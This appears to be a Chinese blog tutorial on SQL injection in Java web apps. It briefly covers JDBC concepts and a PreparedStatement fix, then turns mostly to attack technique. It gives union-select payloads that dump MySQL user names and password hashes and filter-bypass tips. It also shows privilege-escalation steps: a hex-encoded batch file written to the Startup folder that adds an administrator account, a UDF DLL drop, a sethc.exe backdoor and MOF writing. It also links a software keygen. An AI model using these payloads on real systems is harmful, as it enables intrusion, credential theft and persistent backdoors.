1. 程式人生 > >攻擊JavaWeb應用[3]-SQL注入[1]

攻擊JavaWeb應用[3]-SQL注入[1]

注:本節重點在於讓大家熟悉各種SQL注入在JAVA當中的表現,本想帶點ORM框架例項,但是與其幾乎無意,最近在學習MongoDb,挺有意思的,後面有機會給大家補充相關。

0x00 JDBC和ORM

JDBC:

JDBC(Java Data Base Connectivity,java資料庫連線)是一種用於執行SQL語句的Java API,可以為多種關係資料庫提供統一訪問。

JPA:

JPA全稱Java Persistence API.JPA通過JDK 5.0註解或XML描述物件-關係表的對映關係,並將執行期的實體物件持久化到資料庫中。是一個ORM規範。Hibernate是JPA的具體實現。但是Hibernate出現的時間早於JPA(因為Hibernate作者很狂,sun看不慣就叫他去制定JPA標準去了哈哈)。

ORM:

物件關係對映(ORM)目前有Hibernate、OpenJPA、TopLink、EclipseJPA等實現。

JDO:

JDO(Java Data Object )是Java物件持久化的新的規範,也是一個用於存取某種資料倉庫中的物件的標準化API。沒有聽說過JDO沒有關係,很多人應該知道PDO,ADO吧?概念一樣。

關係:

JPA可以依靠JDBC對JDO進行物件持久化,而ORM只是JPA當中的一個規範,我們常見的Hibernate、Mybatis和TopLink什麼的都是ORM的具體實現。

概念性的東西知道就行了,能記住最好。很多東西可能真的是會用,但是要是讓你去定義或者去解釋的時候發現會有些困難。

重點了解JDBC是個什麼東西,知道Hibernate和Mybatis是ORM的具體的實現就夠了。

Object:

在Java當中Object類(java.lang.object)是所有Java類的祖先。每個類都使用 Object 作為超類。所有物件(包括陣列)都實現這個類的方法。所以在認識Java之前應該有一個物件的概念。

關係型資料庫和非關係型資料庫:

資料庫是按照資料結構來組織、儲存和管理資料的倉庫。

關係型資料庫,是建立在關係模型基礎上的資料庫。關係模型就是指二維表格模型,因而一個關係型資料庫就是由二維表及其之間的聯絡組成的一個數據組織。當前主流的關係型資料庫有Oracle、DB2、Microsoft SQL Server、Microsoft Access、MySQL等。

NoSQL,指的是非關係型的資料庫。隨著網際網路web2.0網站的興起,傳統的關係資料庫在應付web2.0網站,特別是超大規模和高併發的SNS型別的web2.0純動態網站已經顯得力不從心,暴露了很多難以克服的問題,而非關係型的資料庫則由於其本身的特點得到了非常迅速的發展。

1、High performance - 對資料庫高併發讀寫的需求。
2、Huge Storage - 對海量資料的高效率儲存和訪問的需求。
3、High Scalability && High Availability- 對資料庫的高可擴充套件性和高可用性的需求。

常見的非關係型資料庫:Membase、MongoDB、Hypertable、Apache Cassandra、CouchDB等。

常見的NoSQL資料庫埠:

MongoDB:27017、28017、27080
CouchDB:5984
Hbase:9000
Cassandra:9160
Neo4j:7474
Riak:8098

在引入這麼多的概念之後我們今天的故事也就要開始了,概念性的東西后面慢慢來。引入這些東西不只僅僅是為了講一個SQL注入,後面很多地方可能都會用到。

傳統的JDBC大於要經過這麼些步驟完成一次查詢操作,java和資料庫的互動操作:

準備JDBC驅動
載入驅動
獲取連線
預編譯SQL
執行SQL
處理結果集
依次釋放連線

sun只是在JDBC當中定義了具體的介面,而JDBC介面的具體的實現是由資料庫提供廠商去寫具體的實現的, 比如說Connection物件,不同的資料庫的實現方式是不同的。

使用傳統的JDBC的專案已經越來越少了,曾經的model1和model2已經被MVC給代替了。如果用傳統的JDBC寫專案你不得不去管理你的資料連線、事物等。而用ORM框架一般程式設計師只用關心執行SQL和處理結果集就行了。比如Spring的JdbcTemplate、Hibernate的HibernateTemplate提供了一套對dao操作的模版,對JDBC進行了輕量級封裝。開發人員只需配置好資料來源和事物一般僅需要提供一個SQL、處理SQL執行後的結果就行了,其他的事情都交給框架去完成了。

enter image description here

0x01 經典的JDBC的Sql注入

Sql注入產生的直接原因是拼湊SQL,絕大多數程式設計師在做開發的時候並不會去關注SQL最終是怎麼去執行的,更不會去關注SQL執行的安全性。因為時間緊,任務重完成業務需求就行了,誰還有時間去管你什麼SQL注入什麼?還不如喝喝茶,看看妹子。正是有了這種懶惰的程式設計師SQL注入一直沒有消失,而這當中不乏一些大型廠商。有的人可能心中有防禦Sql注入意識,但是在面對複雜業務的時候可能還是存在僥倖心理,最近還是被神奇路人甲給脫褲了。為了處理未知的SQL注入攻擊,一些大廠商開始採用SQL防注入甚至是使用某些廠商的WAF。

JDBCSqlInjectionTest.java類:

package org.javaweb.test;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;

public class JDBCSqlInjectionTest {

    /**
     * sql注入測試
     * @param id
     */
    public static void sqlInjectionTest(String id){

        String MYSQLDRIVER = "com.mysql.jdbc.Driver";//MYSQL驅動
        //Mysql連線字串
        String MYSQLURL = "jdbc:mysql://localhost:3306/wooyun?user=root&password=caonimei&useUnicode=true&characterEncoding=utf8&autoReconnect=true";
        String sql = "SELECT * from corps where id = "+id;//查詢語句
        try {
            Class.forName(MYSQLDRIVER);//載入MYSQL驅動
            Connection conn = DriverManager.getConnection(MYSQLURL);//獲取資料庫連線
            PreparedStatement pstt = conn.prepareStatement(sql);
            ResultSet rs = pstt.executeQuery();
            System.out.println("SQL:"+sql);//列印SQL
            while(rs.next()){//結果遍歷
                System.out.println("ID:"+rs.getObject("id"));//ID
                System.out.println("廠商:"+rs.getObject("corps_name"));//輸出廠商名稱
                System.out.println("主站"+rs.getObject("corps_url"));//廠商URL
            }
            rs.close();//關閉查詢結果集
            pstt.close();//關閉PreparedStatement
            conn.close();//關閉資料連線
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        sqlInjectionTest("2 and 1=2 union select version(),user(),database(),5 ");//查詢id為2的廠商
    }
}

現在有以下Mysql資料庫結構(後面用到的資料庫結構都是一樣): 

enter image description here

看下圖程式碼是一個取資料和顯示資料的過程。

第20行就是典型的拼SQL導致SQL注入,現在我們的注入將圍繞著20行展開: 

enter image description here

當傳入正常的引數”2”時輸出的結果正常:

enter image description here

當引數為2 and 1=1去查詢時,由於1=1為true所以能夠正常的返回查詢結果:

enter image description here

當傳入引數2 and 1=2時查詢結果是不存在的,所以沒有顯示任何結果。

Tips:在某些場景下可能需要在引數末尾加註釋符--,使用“--”的作用在於註釋掉從當前程式碼末尾到SQL末尾的語句。

--在oracle和mssql都可用,mysql可以用# /**

enter image description here

執行order by 4正常顯示資料order by 5錯誤說明查詢的欄位數是4。 

enter image description here

Order by 5執行後直接爆了一個SQL異常: 

enter image description here

用聯合查詢執行:2 and 1=2 union select version(),user(),database(),5 

enter image description here

小結論:

通過控制檯執行SQL注入可知SQL注入跟平臺無關、跟開發語言關係也不大,而是跟資料庫有關。 知道了拼SQL肯定是會造成SQL注入的,那麼我們應該怎樣去修復上面的程式碼去防止SQL注入呢?其實只要把引數經過預編譯就能夠有效的防止SQL注入了,我們已經依舊提交SQL注入語句會發現之前能夠成功注入出資料庫版本、使用者名稱、資料庫名的語句現在無法帶入資料庫查詢了:

enter image description here

0x02 PreparedStatement實現防注入

SQL語句被預編譯並存儲在PreparedStatement物件中。然後可以使用此物件多次高效地執行該語句。

Class.forName(MYSQLDRIVER);//載入MYSQL驅動 
Connection conn = DriverManager.getConnection(MYSQLURL);//獲取資料庫連線 
String sql = "SELECT * from corps where id = ? ";//查詢語句 
PreparedStatement pstt = conn.prepareStatement(sql);//獲取預編譯的PreparedStatement物件 
pstt.setObject(1, id);//使用預編譯SQL 
ResultSet rs = pstt.executeQuery();

enter image description here

從Class.forName反射去載入MYSQL啟動開始,到通過DriverManager去獲取一個本地的連線資料庫的物件。而拿到一個數據連線以後便是我們執行SQL與事物處理的過程。當我們去呼叫PreparedStatement的方法如:executeQuery或executeUpdate等都會通過mysql的JDBC實現對Mysql資料庫做對應的操作。Java裡面連線資料庫的方式一般來說都是固定的格式,不同的只是實現方式。所以只要我們的專案中有載入對應資料庫的jar包我們就能做相應的資料庫連線。而在一個Web專案中如果/WEB-INF/lib下和對應容器的lib下只有mysql的資料庫連線驅動包,那麼就只能連線MYSQL了,這一點跟其他語言有點不一樣,不過應該容易理解和接受,假如php.ini不開啟對mysql、mssql、oracle等資料庫的支援效果都一樣。修復之前的SQL注入的方式顯而易見了,用“?”號去佔位,預編譯SQL的時候會自動根據pstt裡的引數去處理,從而避免SQL注入。

String sql = "SELECT * from corps where id = ? "; 
pstt = conn.prepareStatement(sql);//獲取預編譯的PreparedStatement物件 
pstt.setObject(1, id);//使用預編譯SQL 
ResultSet rs = pstt.executeQuery(); 

在通過conn.prepareStatement去獲取一個PreparedStatement便會以預編譯去處理查詢SQL,而使用conn.createStatement得到的只是一個普通的Statement不會去預編譯SQL語句,但Statement執行效率和速度都比prepareStatement要快前者是後者的父類。

從類載入到連線的關閉資料庫廠商根據自己的資料庫的特性實現了JDBC的介面。類載入完成之後才能夠繼續呼叫其他的方法去獲取一個連線物件,然後才能過去執行SQL命令、返回查詢結果集(ResultSet)。

Mysql的Driver:

public class Driver extends NonRegisteringDriver implements java.sql.Driver{}

在載入驅動處下斷點(22行),可以跟蹤到mysql的驅動連線資料庫到獲取連線的整個過程。

enter image description here

enter image description here

enter image description here

F5進入到Driver類: 

enter image description here

驅動載入完成後我們會得到一個具體的連線的物件Connection,而這個Connection包含了大量的資訊,我們的一切對資料庫的操作都是依賴於這個Connection的:

enter image description here

conn.prepareStatement(sql);

在獲取PreparedStatement物件的時進入會進入到Connection類的具體的實現類ConnectionImpl類。

然後呼叫其prepareStatement方法。 

而nativeSQL方法呼叫了EscapeProcessor類的靜態方法escapeSQL進行轉意,返回的自然是轉意後的SQL。

預編譯預設是在客戶端的用com.mysql.jdbc.PreparedStatement本地SQL拼完SQL,最終mysql資料庫收到的SQL是已經替換了“?”後的SQL,執行並返回我們查詢的結果集。 從上而下大概明白了預編譯做了個什麼事情,並不是用了PreparedStatement這個物件就不存在SQL注入而是跟你在預編譯前有沒有拼湊SQL語句,

String sql = “select * from xxx where id = ”+id//這種必死無疑。

Web中繞過SQL防注入:

Java中的JSP裡邊有個特性直接request.getParameter("Parameter");去獲取請求的資料是不分GET和POST的,而看過我第一期的同學應該還記得我們的Servlet一般都是兩者合一的方式去處理的,而在SpringMVC裡面如果不指定傳入引數的方式預設是get和post都可以接受到。

SpringMvc如:

@RequestMapping(value="/index.aspx",method=RequestMethod.GET)
public String index(HttpServletRequest request,HttpServletResponse response){
    System.out.println("------------");
    return "index";
}

上面預設只接收GET請求,而大多數時候是很少有人去制定請求的方式的。說這麼多其實就是為了告訴大家我們可以通過POST方式去繞過普通的SQL防注入檢測!

Web當中最容易出現SQL注入的地方:

常見的文章顯示、分類展示。
使用者註冊、使用者登入處。
關鍵字搜尋、檔案下載處。
資料統計處(訂單查詢、上傳下載統計等)經典的如select下拉框注入。
邏輯略複雜處(密碼找回以及跟安全相關的)。

關於注入頁面報錯:

如果發現頁面丟擲異常,那麼得從兩個方面去看問題,傳統的SQL注入在頁面報錯以後肯定沒法直接從頁面獲取到資料資訊。如果報錯後SQL沒有往下執行那麼不管你提交什麼SQL注入語句都是無效的,如果只是普通的錯誤可以根據錯誤資訊進行引數修改之類繼續SQL注入。 假設我們的id改為int型別:

int id = Integer.parseInt(request.getParameter("id")); 

enter image description here

程式在接受引數後把一個字串轉換成int(整型)的時候發生異常,那麼後面的程式碼是不會接著執行的哦,所以SQL注入也會失敗。

Spring中如何安全的拼SQL(JDBC同理):

對於常見的SQL注入採用預編譯就行了,但是很多時候條件較多或較為複雜的時候很多人都想偷懶拼SQL。 


寫了個這樣的多條件查詢條件自動匹配:

    public static String SQL_FORUM_CLASS_SETTING = "SELECT * from bjcyw_forum_forum where 1=1 ";

    public List<Map<String, Object>> getForumClass(Map<String,Object> forum) {
    StringBuilder sql=new StringBuilder(SQL_FORUM_CLASS_SETTING);
    List<Object> ls=new ArrayList<Object>();
    if (forum.size()>0) {
        for (String key : forum.keySet()) {
            Object obj[]=(Object [])forum.get(key);
            sql = SqlHelper.selectHelper(sql, obj);
            if ("like".equalsIgnoreCase(obj[2].toString().trim())) {
                ls.add("%"+obj[1]+"%");
            }else{
                ls.add(obj[1]);
            }
        }
    }
    return jdbcTemplate.queryForList(sql.toString(),(Object[])ls.toArray());
}

selectHelper方法:

public static StringBuilder selectHelper(StringBuilder sql, Object obj[]){
    if (Constants.SQL_HELPER_LIKE.equalsIgnoreCase(obj[2].toString())) {
        sql.append(" AND "+obj[0]+" like ?");
    }else if (Constants.SQL_HELPER_EQUAL.equalsIgnoreCase(obj[2].toString())) {
        sql.append(" AND "+obj[0]+" = ?");
    }else if (Constants.SQL_HELPER_GREATERTHAN.equalsIgnoreCase(obj[2].toString())) {
        sql.append(" AND "+obj[0]+" > ?");
    }else if (Constants.SQL_HELPER_LESSTHAN.equalsIgnoreCase(obj[2].toString())) {
        sql.append(" AND "+obj[0]+" < ?");
    }else if (Constants.SQL_HELPER_NOTEQUAL.equalsIgnoreCase(obj[2].toString())) {
        sql.append(" AND "+obj[0]+" != ?");
    }
    return sql;
}

信任客戶端的引數一切引數只匹配查詢條件,把引數和條件自動裝配到框架。

如果客戶端提交了危險的SQL也沒有關係在query的時候是會預編譯。

0x03 轉戰Web平臺

看完了SQL注入在控制檯下的表現,如果對上面還不甚清楚的同學繼續看下面的Web注入。

首先我們瞭解下Web當中的SQL注入產生的原因: 

enter image description here

Mysql篇: 資料庫結構上面已經宣告,現在有以下Jsp頁面,邏輯跟上面注入一致: 

enter image description here

瀏覽器訪問:http://localhost/SqlInjection/index.jsp?id=1

enter image description here

上面我們已經知道了查詢的欄位數是4,現在構建聯合查詢,其中的1,2,3只是我們用來佔位檢視欄位在頁面對應的具體的輸出。在HackBar執行我們的SQL注入,檢視效果和執行情況: 

enter image description here

Mysql查詢和注入技巧:

只要是從事滲透測試工作的同學或者對Web比較喜愛的同學強薦大家學習下SQL語句和Web開發基礎,SQL管理客戶端有一個神器叫Navicat。支援MySQL, SQL Server, SQLite, Oracle 和 PostgreSQL databases。官方下載地址:http://www.navicat.com/download不過需要註冊,註冊機:http://pan.baidu.com/share/link?shareid=271653&uk=1076602916 其次是下載吧有全套的下載。

enter image description here

似乎很多人都知道Mysql有個資料庫叫information_schema裡面儲存了很多跟Mysql有關的資訊,但是不知道里面具體都有些什麼,有時間大家可以抽空看下。Mysql的sechema都存在於此,包含了欄位、表、元資料等各種資訊。也就是對於Mysql來說建立一張表後對應的表資訊會儲存到information_schema裡面,而且可以用SQL語句查詢。

使用Navicat構建SQL查詢語句:

enter image description here

當我們在SQL注入當中找到使用者或管理員所在的表是非常重要的,而當我們想要快速找到跟使用者相關的資料庫表時候在Mysql裡面就可以合理的使用information_schema去查詢。構建SQL查詢獲取所有當前資料庫當中資料庫表名裡面帶有user關鍵字的演示: 

enter image description here

查詢包含user關鍵字的表名的結果: 

enter image description here

假設已知某個網站使用者資料非常大,我們可以通過上面構建的SQL去找到對應可能存在使用者資料資訊的表。

查詢Mysql所有資料庫中所有表名帶有user關鍵字的表,並且按照表的行數降序排列:

SELECT
i.TABLE_NAME,i.TABLE_ROWS
FROM information_schema.`TABLES` AS i
WHERE i.TABLE_NAME
LIKE '%user%'
ORDER BY i.TABLE_ROWS
DESC

查只在當前資料庫查詢:

SELECT
i.TABLE_NAME,i.TABLE_ROWS
FROM information_schema.`TABLES` AS i
WHERE i.TABLE_NAME
LIKE '%user%'
AND i.TABLE_SCHEMA = database()
ORDER BY i.TABLE_ROWS
DESC

查詢指定資料庫: 

enter image description here

查詢欄位當中帶有user關鍵字的所有的表名和資料庫名:

SELECT
i.TABLE_SCHEMA,i.TABLE_NAME,i.COLUMN_NAME
FROM information_schema.`COLUMNS` AS i
WHERE i.COLUMN_NAME LIKE '%user%' 

enter image description here

CONCAT:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1

enter image description here

GROUP_CONCAT

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,GROUP_CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1

enter image description here

注入點友情備份:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select '','',corps_name,corps_url from corps into outfile'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/1.txt'

注入在windows下預設是E:\如果用“\”去表示路徑的話需要轉換成E:\\而更方便的方式是直接用/去表示即E:/。 當我們知道WEB路徑的情況下而又有outfile許可權直接匯出資料庫中的使用者資訊。

enter image description here

而如果是在一些極端的情況下無法直接outfile我們可以合理的利用concat和GROUP_CONCAT去把資料顯示到頁面,如果資料量特別大,我們可以用concat加上limit去控制顯示的數量。比如每次從頁面獲取幾百條資料?寫一個工具去請求構建好的SQL注入點然後把頁面的資料取下來,那麼資料庫的表資訊也可以直接從注入點全部取出來。

注入點root許可權提權:

1、寫啟動項:

這個算是非常簡單的了,直接寫到windows的啟動目錄就行了,我測試的系統是windows7直接寫到:C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup目錄就行了。用HackBar去請求一下連結就能過把bat寫入到我們的windows的啟動選單了,不過得注意的是360那個狗兔崽子:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','','' into outfile 'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat'

enter image description here

2、失敗的注入點UDF提權嘗試:

MYSQL提權的方式挺多的,並不侷限於udf、mof、寫windows啟動目錄、SQL語句替換sethc實現後門等,這裡以udf為例,其實udf挺麻煩的,如果麻煩的東東你都能搞定,簡單的自然就能過搞定了。 在進行mysql的udf提權的時候需要注意的是mysql的版本,mysql5.1以下匯入到windows目錄就行了,而mysql<=5.1需要匯入到外掛目錄。我測試的是Mysql 5.5.27我們的首要任務就是找到mysql外掛路徑。

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,@@plugin_dir

獲取外掛目錄方式:

select @@plugin_dir
select @@basedir

show variables like ‘%plugins%’

enter image description here

通過MYSQL預留的變數很輕易的就找到了mysql所在目錄,那我們需要把udf匯出的絕對路徑就應該是:D:/install/dev/mysql5.5/lib/plugin/udf.dll。現在我們要做的就是怎樣通過SQL注入去把這udf匯出到上述目錄了。 我先說下我是怎麼從錯誤的方法到正確匯入的一個過程吧。首先我執行了這麼一個SQL:

SELECT * from corps where id = 1 and 1=2 union select '','','',(CONVERT(0xudf的十六進位制 ,CHAR)) INTO DUMPFILE 'D:/install/dev/mysql5.5/lib/plugin/udf.dll'

因為在命令列或執行單條語句的時候轉換成char去dumpfile的時候是可以成功匯出二進位制檔案的。 我們用瀏覽器瀏覽網頁的時候都是以GET方式去提交的,而如果我用GET請求去傳這個十六進位制的udf的話顯然會超過GET請求的限制,於是我簡單的構建了一個POST請求去把一個110K的0x傳到後端。

enter image description here

enter image description here

提交表單以後發現檔案是寫進去了,但是為什麼就只有84位元組捏? 

enter image description here

難道是資料傳輸的時候被截斷了?不至於吧,於是用navicat執行上面的語句: 

enter image description here

我似乎傻逼了,因為查詢結果還是隻有84位元組,結果顯然不是我想要的。84位元組,不帶這麼坑的。一計不成又生二計。 不讓我直接dumpfile那我間接的去寫總行吧? 

enter image description here

1 and 1=2 union select '','','',0xUDF轉換後的16進位制 INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'發現格式不對,給hex加上單引號以字串方式寫入試下: 1 and 1=2 union select '','','',’0xUDF轉換後的16進位制’ INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'

enter image description here

這次寫入的起碼是hex了吧,再load_file到查詢裡面不就行了嗎?我們知道load_file得到的肯定是一個blob吧。 

enter image description here

那麼在注入點這麼去構建一下不就行了: 

enter image description here

其實這都已經2到家了,這跟第一次提交的資料根本就沒有兩樣。Load file在這裡依舊被轉換成了0x,我想這不行的話那麼應該就只能在blob欄位去load_file才能成功吧,因為現在load到了一個欄位型別是text的位置裡面。估計是被當字串處理了,但是很顯然是沒法去找個blob的欄位的,(用上面去information_schema去找應該能找到)。也就是說現在需要的是一個blob去臨時的儲存一下。又因為我們知道MYSQL是不支援多行查詢的,所以我們根本就沒有辦法去建表(想過copy查詢建表,但是顯然是行不通的)。 這不科學,一定是開啟方式不對。CAST 和CONVERT 轉換成CHAR都不行。能轉換成blob之類的嗎?CONVERT(0xsbsbsb,BLOB)發現失敗了,把BLOB換成 BINARY發現成功執行了。 於是用構建的表單再次執行下面的語句: SELECT * from corps where id = 1 and 1=2 union select '','','', CONVERT(0x不解釋,BINARY) INTO DUMPFILE'D:/install/dev/mysql5.5/lib/plugin/udf.dll'

enter image description here

這次執行成功了,哦多麼痛的領悟……一開始把CHAR寫成BINARY不就搞定了,二的太明顯了。其實上面的二根本就不是事兒,更二的是當我要執行的時候恍然發現根本就沒有辦法去建立function啊! O shit shift~ Mysql Driver在pstt.executeQuery()是不支援多行查詢的,一個select 在怎麼也不能跟create同時執行。為了不影響大家心情還是繼續寫下去吧,命令列建立一個function,然後在注入點注入(如果有前人已經建立udf的情況下可以直接利用): 

enter image description here

因為沒有辦法去建立一個function所以用注入點實現udf提權在上一步就死了,通過在命令列執行建立function只能算是心靈安慰了,只要完成了create function那一步我們就真的成功了,因為呼叫自定義function非常簡單:

enter image description here

MOF和sethc提權:

MOF和sethc提權我就不詳講了,因為看了上面的udf提權你已經具備自己匯入任意檔案到任意目錄了,而MOF實際上就是寫一個檔案到指定目錄,而sethc提權我只成功模糊的過一次。在命令列下利用SQL大概是這樣的:

create table mix_cmd( shift longblob);
insert into mix_cmd values(load_file(‘c:\windows\system32\cmd.exe’));
    
select * from mix_cmd into dumpfile ‘c:\windows\system32\sethc.exe’;
    
drop table if exists mix_cmd;

現在的管理員很多都會自作聰明的去把net.exe、net1.exe 、cmd.exe、sethc.exe刪除防止入侵。當sethc不存在時我們可以用這個方法去試下,怎麼確定是否存在?load_file下看人品了,如果cmd和sethc都不存在那麼按照上面的udf提權三部曲上傳一個cmd.exe到任意目錄。

SELECT LOAD_FILE('c:/windows/system32/cmd.exe') INTO DUMPFILE'c:/windows/system32/sethc.exe'

MOF大約是這樣:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select char(ascii轉換後的程式碼),'','','' into dumpfile 'c:/windows/system32/wbem/mof/nullevts.mof'

Mysql小結:

我想講的應該是一種方法而不是SQL怎麼去寫,學會了方法自然就會自己去拓展,當然了最好不要向上面udf那麼二。有了上面的demo相信大家都會知道怎麼去修改滿足自己的需求了。學的不只是方法而是思路切記!